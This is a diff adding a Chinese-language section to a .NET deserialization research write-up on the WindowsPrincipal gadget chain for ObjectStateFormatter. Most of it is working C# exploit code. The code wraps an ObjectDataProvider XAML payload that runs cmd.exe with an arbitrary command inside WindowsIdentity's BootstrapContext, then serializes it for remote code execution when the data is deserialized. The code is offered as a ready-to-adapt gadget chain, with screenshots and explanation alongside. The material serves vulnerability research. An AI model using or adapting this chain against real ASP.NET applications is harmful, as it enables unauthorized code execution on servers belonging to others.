@@ -147,3 +147,140 @@ namespace ObjectStateFormatterSerialize
147147
148148运行后弹出calc。
149149
150+ ## WindowsPrincipal
151+
152+ 对于WindowsPrincipal的构造就两行代码
153+
154+ ![ image-20210507105715422] ( ObjectStateFormatter.assets/image-20210507105715422.png )
155+
156+ 在generate的时候
157+
158+ ![ image-20210507110155824] ( ObjectStateFormatter.assets/image-20210507110155824.png )
159+
160+ 新建了一个WindowsIdentity实例,其Actor字段的BootstrapContext值赋值为TextFormattingRunPropertiesGadget的payload。看到BootstrapContext就知道是ClaimsIdentity gadget的又一次利用。自己构造payload
161+
162+ ``` csharp
163+ using Microsoft .VisualStudio .Text .Formatting ;
164+ using System ;
165+ using System .Collections .Specialized ;
166+ using System .Diagnostics ;
167+ using System .Reflection ;
168+ using System .Runtime .Serialization ;
169+ using System .Security .Claims ;
170+ using System .Security .Principal ;
171+ using System .Web .UI ;
172+ using System .Windows .Data ;
173+ using System .Windows .Markup ;
174+
175+ namespace ObjectStateFormatterSerialize
176+ {
177+ class Program
178+ {
179+ static void Main (string [] args )
180+ {
181+ WindowsIdentity currentWI = WindowsIdentity .GetCurrent ();
182+ currentWI .Actor = new ClaimsIdentity ();
183+ currentWI .Actor .BootstrapContext = new TextFormattingRunPropertiesMarshal (" calc" );
184+ WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal ();
185+ obj .wi = currentWI ;
186+ string v = new ObjectStateFormatter ().Serialize (obj );
187+ new ObjectStateFormatter ().Deserialize (v );
188+ }
189+
190+
191+ }
192+ [Serializable ]
193+ public class WindowsPrincipalMarshal : ISerializable
194+ {
195+ public WindowsPrincipalMarshal () { }
196+ public WindowsIdentity wi { get ; set ; }
197+ public void GetObjectData (SerializationInfo info , StreamingContext context )
198+ {
199+ info .SetType (typeof (WindowsPrincipal ));
200+ info .AddValue (" m_identity" , wi );
201+ }
202+ }
203+
204+ [Serializable ]
205+ public class TextFormattingRunPropertiesMarshal : ISerializable
206+ {
207+ protected TextFormattingRunPropertiesMarshal (SerializationInfo info , StreamingContext context )
208+ {
209+ }
210+ string _xaml ;
211+ public void GetObjectData (SerializationInfo info , StreamingContext context )
212+ {
213+ Type typeTFRP = typeof (TextFormattingRunProperties );
214+ info .SetType (typeTFRP );
215+ info .AddValue (" ForegroundBrush" , _xaml );
216+ }
217+ public TextFormattingRunPropertiesMarshal (string cmd )
218+ {
219+ // ObjectDataProvider
220+ ProcessStartInfo psi = new ProcessStartInfo ();
221+ psi .FileName = " cmd.exe" ;
222+ psi .Arguments = $" /c {cmd }" ;
223+ StringDictionary dict = new StringDictionary ();
224+ psi .GetType ().GetField (" environmentVariables" , BindingFlags .Instance | BindingFlags .NonPublic ).SetValue (psi , dict );
225+ Process p = new Process ();
226+ p .StartInfo = psi ;
227+ ObjectDataProvider odp = new ObjectDataProvider ();
228+ odp .MethodName = " Start" ;
229+ odp .IsInitialLoadEnabled = false ;
230+ odp .ObjectInstance = p ;
231+ _xaml = XamlWriter .Save (odp );
232+ }
233+ }
234+ }
235+ ```
236+
237+ WindowsPrincipal类有一个字段类型为WindowsIdentity
238+
239+ ![ image-20210508091951491] ( ObjectStateFormatter.assets/image-20210508091951491.png )
240+
241+ 而前文中讲过WindowsIdentity的bootstrapContext字段可反序列化RCE。所以payload构造可以更简单些:
242+
243+ ``` csharp
244+ class Program
245+ {
246+ static void Main (string [] args )
247+ {
248+ WindowsIdentity currentWI = WindowsIdentity .GetCurrent ();
249+ currentWI .BootstrapContext = new TextFormattingRunPropertiesMarshal (" calc" );
250+ WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal ();
251+ obj .wi = currentWI ;
252+ string v = new ObjectStateFormatter ().Serialize (obj );
253+ new ObjectStateFormatter ().Deserialize (v );
254+ }
255+ }
256+ ```
257+
258+
259+
260+ 堆栈
261+
262+ ![ image-20210508092544937] ( ObjectStateFormatter.assets/image-20210508092544937.png )
263+
264+ 可见在反序列化重建对象时,填充类型为WindowsIdentity的m_identity字段时触发了其父类的反序列化,从而反序列化bootstrapContext。
265+
266+ 在GetObjectData中
267+
268+ ``` csharp
269+ [Serializable ]
270+ public class WindowsPrincipalMarshal : ISerializable
271+ {
272+ public WindowsPrincipalMarshal () { }
273+ public WindowsIdentity wi { get ; set ; }
274+ public void GetObjectData (SerializationInfo info , StreamingContext context )
275+ {
276+ info .SetType (typeof (WindowsPrincipal ));
277+ info .AddValue (" m_identity" , wi );
278+ }
279+ }
280+ ```
281+
282+ m_identity可以改成随便的字符串,因为在info中,value对象被序列化存储,在反序列化时,info重建其value会自动反序列化。
283+
284+ # 后文
285+
286+ 本文讲解了RolePrincipal、WindowsPrincipal攻击链。RolePrincipal是对ClaimsPrincipal的继承利用,WindowsPrincipal是套娃WindowsIdentity,本质还是通过ClaimsIdentity利用。
0 commit comments